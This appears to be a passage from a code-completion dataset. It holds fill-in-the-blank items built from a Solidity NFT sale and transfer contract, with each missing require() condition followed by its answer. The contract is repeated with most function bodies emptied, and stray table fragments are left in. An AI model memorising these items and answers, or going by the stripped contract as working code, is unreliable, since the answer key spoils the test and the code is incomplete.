function transferOwedNfts(address recipient, uint256[] calldata nftTokenIds) onlyOwner external returns (uint256) {
}
// for transparency regarding ETH raised
uint256 totalWithdrawn = 0;
function getTotalWithdrawn() public view returns (uint256) {
}
function getTotalBalance() public view returns (uint256) {
}
function getTotalRaised() public view returns (uint256) {
}
/**
* withdraw ETH from the contract (callable by Owner only)
*/
function withdraw() public payable onlyOwner {
}
}
|
supply+numberOfNfts<=maxSupply,"Exceeds max supply"
| 144,734 |
supply+numberOfNfts<=maxSupply
|
"Exceeds Allocation"
|
// SPDX-License-Identifier: GPL-3.0
// ----------- House Of First -----------
// - Black is Beautiful -- Transfer Contract -
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721.sol";
pragma solidity ^0.8.10;
contract BIBtransfer is Ownable, ReentrancyGuard {
uint256 public price = 0.025 * (10 ** 18);
uint256 public supply = 0; // nfts purchased
uint256 public maxSupply = 200; // nfts available for purchase
uint256 public nftsTransferred = 0;
uint256 public maxMint = 20;
uint256 public allowancePerAddress = 50;
bool public salePaused = false;
address public vaultAddress = 0xb2C7c59fB26932A673993a85D0FA66c6298f8F01;
address public bibAddress = 0x9b0674fE9c91414378a5dFAFB3376775A65CDEba;
address public constant WHITELIST_SIGNER = 0x8430e0B7be3315735C303b82E4471D59AC152Aa5; // MM signer
mapping(address => uint256) public whitelistPurchases;
mapping(address => uint256) public owedNfts;
address[] internal _addressesToMonitor;
uint256[] internal _mintedNftIds;
function getMintedNftIds() external view returns (uint256[] memory) {
}
function getAddressesToMonitor() external view returns (address[] memory) {
}
function getNftsTransferred() public view returns (uint256) {
}
function needToTransfer() public view returns (bool) {
}
function totalSupply() public view returns (uint256) {
}
function totalAvailable() public view returns (uint256) {
}
function toggleSalePause(bool _salePaused) onlyOwner external {
}
function setWhitelistPurchases(uint256[] calldata quantity, address[] calldata recipient) external onlyOwner {
}
function setWhitelistPurchasesSimple(uint256 quantity, address[] calldata recipient) external onlyOwner {
}
function setMintedNftIds(uint256[] calldata nftIds) external onlyOwner {
}
function setPrice(uint256 _price) onlyOwner external {
}
function setNftsTransferred(uint256 _transferred) onlyOwner external {
}
function setSupply(uint256 _supply) onlyOwner external {
}
function setMaxSupply(uint256 _maxSupply) onlyOwner external {
}
function setMaxMint(uint256 _maxMint) onlyOwner external {
}
function setAllowancePerAddress(uint256 _allowancePerAddress) onlyOwner external {
}
function setVaultAddress(address _vaultAddress) onlyOwner external {
}
function setbibAddress(address _bibAddress) onlyOwner external {
}
function getNFTPrice() public view returns (uint256) {
}
function getTokensAvailable() public view returns (uint256) {
}
function getWhitelistPurchases(address addr) external view returns (uint256) {
}
function getOwedNfts(address addr) external view returns (uint256) {
}
/* whitelist */
function isWhitelisted(address user, bytes memory signature) public pure returns (bool) {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) private pure returns (address) {
}
function splitSignature(bytes memory sig) private pure returns (bytes32 r, bytes32 s, uint8 v) {
}
function whitelistMintNFT(uint256 numberOfNfts, bytes memory signature) public payable nonReentrant {
require(!salePaused, "Sale Paused");
require(msg.value >= price * numberOfNfts, "Not Enough ETH");
require(isWhitelisted(msg.sender, signature), "Address not whitelisted");
require(numberOfNfts > 0 && numberOfNfts <= allowancePerAddress, "Invalid numberOfNfts");
require(supply + numberOfNfts <= maxSupply, "Exceeds max supply");
require(<FILL_ME>)
whitelistPurchases[msg.sender] += numberOfNfts;
owedNfts[msg.sender] += numberOfNfts;
_addressesToMonitor.push(msg.sender);
supply += numberOfNfts;
}
function transferOwedNfts(address recipient, uint256[] calldata nftTokenIds) onlyOwner external returns (uint256) {
}
// for transparency regarding ETH raised
uint256 totalWithdrawn = 0;
function getTotalWithdrawn() public view returns (uint256) {
}
function getTotalBalance() public view returns (uint256) {
}
function getTotalRaised() public view returns (uint256) {
}
/**
* withdraw ETH from the contract (callable by Owner only)
*/
function withdraw() public payable onlyOwner {
}
}
|
whitelistPurchases[msg.sender]+numberOfNfts<=allowancePerAddress,"Exceeds Allocation"
| 144,734 |
whitelistPurchases[msg.sender]+numberOfNfts<=allowancePerAddress
|
"More nfts than owed"
|
// SPDX-License-Identifier: GPL-3.0
// ----------- House Of First -----------
// - Black is Beautiful -- Transfer Contract -
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721.sol";
pragma solidity ^0.8.10;
contract BIBtransfer is Ownable, ReentrancyGuard {
uint256 public price = 0.025 * (10 ** 18);
uint256 public supply = 0; // nfts purchased
uint256 public maxSupply = 200; // nfts available for purchase
uint256 public nftsTransferred = 0;
uint256 public maxMint = 20;
uint256 public allowancePerAddress = 50;
bool public salePaused = false;
address public vaultAddress = 0xb2C7c59fB26932A673993a85D0FA66c6298f8F01;
address public bibAddress = 0x9b0674fE9c91414378a5dFAFB3376775A65CDEba;
address public constant WHITELIST_SIGNER = 0x8430e0B7be3315735C303b82E4471D59AC152Aa5; // MM signer
mapping(address => uint256) public whitelistPurchases;
mapping(address => uint256) public owedNfts;
address[] internal _addressesToMonitor;
uint256[] internal _mintedNftIds;
function getMintedNftIds() external view returns (uint256[] memory) {
}
function getAddressesToMonitor() external view returns (address[] memory) {
}
function getNftsTransferred() public view returns (uint256) {
}
function needToTransfer() public view returns (bool) {
}
function totalSupply() public view returns (uint256) {
}
function totalAvailable() public view returns (uint256) {
}
function toggleSalePause(bool _salePaused) onlyOwner external {
}
function setWhitelistPurchases(uint256[] calldata quantity, address[] calldata recipient) external onlyOwner {
}
function setWhitelistPurchasesSimple(uint256 quantity, address[] calldata recipient) external onlyOwner {
}
function setMintedNftIds(uint256[] calldata nftIds) external onlyOwner {
}
function setPrice(uint256 _price) onlyOwner external {
}
function setNftsTransferred(uint256 _transferred) onlyOwner external {
}
function setSupply(uint256 _supply) onlyOwner external {
}
function setMaxSupply(uint256 _maxSupply) onlyOwner external {
}
function setMaxMint(uint256 _maxMint) onlyOwner external {
}
function setAllowancePerAddress(uint256 _allowancePerAddress) onlyOwner external {
}
function setVaultAddress(address _vaultAddress) onlyOwner external {
}
function setbibAddress(address _bibAddress) onlyOwner external {
}
function getNFTPrice() public view returns (uint256) {
}
function getTokensAvailable() public view returns (uint256) {
}
function getWhitelistPurchases(address addr) external view returns (uint256) {
}
function getOwedNfts(address addr) external view returns (uint256) {
}
/* whitelist */
function isWhitelisted(address user, bytes memory signature) public pure returns (bool) {
}
function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) private pure returns (address) {
}
function splitSignature(bytes memory sig) private pure returns (bytes32 r, bytes32 s, uint8 v) {
}
function whitelistMintNFT(uint256 numberOfNfts, bytes memory signature) public payable nonReentrant {
}
function transferOwedNfts(address recipient, uint256[] calldata nftTokenIds) onlyOwner external returns (uint256) {
uint256 transferCount = nftTokenIds.length;
require(<FILL_ME>)
for (uint256 i = 0; i < transferCount; ++i) {
IERC721(bibAddress).safeTransferFrom(vaultAddress, recipient, nftTokenIds[i]);
_mintedNftIds.push(nftTokenIds[i]);
}
owedNfts[recipient] -= transferCount;
nftsTransferred += transferCount;
delete transferCount;
return owedNfts[recipient];
}
// for transparency regarding ETH raised
uint256 totalWithdrawn = 0;
function getTotalWithdrawn() public view returns (uint256) {
}
function getTotalBalance() public view returns (uint256) {
}
function getTotalRaised() public view returns (uint256) {
}
/**
* withdraw ETH from the contract (callable by Owner only)
*/
function withdraw() public payable onlyOwner {
}
}
|
owedNfts[recipient]>=transferCount,"More nfts than owed"
| 144,734 |
owedNfts[recipient]>=transferCount
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.